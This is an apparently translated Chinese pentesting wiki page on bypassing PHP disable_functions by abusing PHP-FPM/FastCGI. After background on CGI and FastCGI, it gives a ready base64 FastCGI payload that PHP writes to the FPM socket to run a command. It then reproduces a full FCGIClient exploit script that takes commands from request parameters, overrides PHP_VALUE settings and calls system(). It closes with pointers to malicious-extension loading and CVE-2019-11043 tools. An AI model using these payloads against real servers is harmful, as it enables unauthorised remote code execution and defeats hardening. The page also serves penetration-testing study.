disable_functions bypass - php-fpm/FastCGI

Reading time: 14 minutes

PHP-FPM

PHP-FPM 被视为标准 PHP FastCGI 的 优越替代品，提供了对 高流量网站特别有利 的功能。它通过一个主进程来管理一组工作进程。对于 PHP 脚本请求，网络服务器会发起一个 FastCGI 代理连接到 PHP-FPM 服务。该服务能够 通过服务器上的网络端口或 Unix 套接字接收请求。

尽管代理连接起到了中介作用，PHP-FPM 仍需在与网络服务器相同的机器上运行。它所使用的连接虽然是基于代理的，但与传统的代理连接有所不同。在接收到请求后，PHP-FPM 中的一个可用工作进程会处理该请求——执行 PHP 脚本，然后将结果转发回网络服务器。在工作进程完成请求处理后，它会再次可用于即将到来的请求。

但 CGI 和 FastCGI 是什么？

CGI

通常，网页、文件和所有从网络服务器传输到浏览器的文档都存储在一个特定的公共目录中，例如 home/user/public_html。当浏览器请求某些内容时，服务器会检查该目录并将所需文件发送给浏览器。

如果服务器上安装了 CGI，则还会添加特定的 cgi-bin 目录，例如 home/user/public_html/cgi-bin。CGI 脚本存储在此目录中。目录中的每个文件都被视为可执行程序。当访问该目录中的脚本时，服务器会向负责该脚本的应用程序发送请求，而不是将文件内容发送给浏览器。在输入数据处理完成后，应用程序将输出数据 发送到网络服务器，后者将数据转发给 HTTP 客户端。

例如，当访问 CGI 脚本 http://mysitename.com/cgi-bin/file.pl 时，服务器将通过 CGI 运行相应的 Perl 应用程序。脚本执行生成的数据将由应用程序发送到网络服务器。服务器则将数据传输给浏览器。如果服务器没有 CGI，浏览器将显示 .pl 文件的代码本身。（解释来自 这里）

FastCGI

FastCGI 是一种较新的网络技术，是改进版的 CGI，其主要功能保持不变。

开发 FastCGI 的需求是由于应用程序的快速发展和复杂性，以及为了解决 CGI 技术的可扩展性不足。为了满足这些要求，Open Market 推出了 FastCGI——一种具有增强功能的高性能 CGI 技术版本。

disable_functions bypass

可以通过滥用 FastCGI 来运行 PHP 代码，从而避免 disable_functions 的限制。

通过 Gopherus

使用 Gopherus 可以生成一个有效载荷，发送到 FastCGI 监听器并执行任意命令：

然后，您可以抓取 urlencoded 有效载荷并解码，然后转换为 base64，[例如使用这个 cyberchef 的配方](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). 然后将 base64 复制粘贴到以下 PHP 代码中：

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

上传并访问此脚本后，漏洞将被发送到 FastCGI（禁用 disable_functions），并且 指定的命令将被执行。

PHP 漏洞

来自 这里 的代码。

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

使用之前的函数，你会看到函数 system 仍然被禁用，但 phpinfo() 显示 disable_functions 为空：

所以，我认为你只能通过 php .ini 配置文件设置 disable_functions，而 PHP_VALUE 不会覆盖该设置。

FuckFastGCI

这是一个利用 fastcgi 协议绕过 open_basedir 和 disable_functions 的 php 脚本。
它将帮助你通过加载恶意扩展来绕过严格的 disable_functions 以实现 RCE。
你可以在这里访问它：https://github.com/w181496/FuckFastcgi 或稍微修改和改进的版本在这里：https://github.com/BorelEnzo/FuckFastcgi

你会发现这个利用与之前的代码非常相似，但它不是尝试使用 PHP_VALUE 绕过 disable_functions，而是尝试 加载一个外部 PHP 模块 来使用变量 PHP_ADMIN_VALUE 中的 extension_dir 和 extension 参数执行代码。
注意1：你可能需要使用 与服务器相同的 PHP 版本重新编译 扩展（你可以在 phpinfo 的输出中检查）：

PHP-FPM 远程代码执行漏洞 (CVE-2019–11043)

你可以使用 phuip-fpizdam 利用此漏洞，并使用此 docker 环境进行测试：https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043。
你还可以在 这里** 找到对该漏洞的分析。**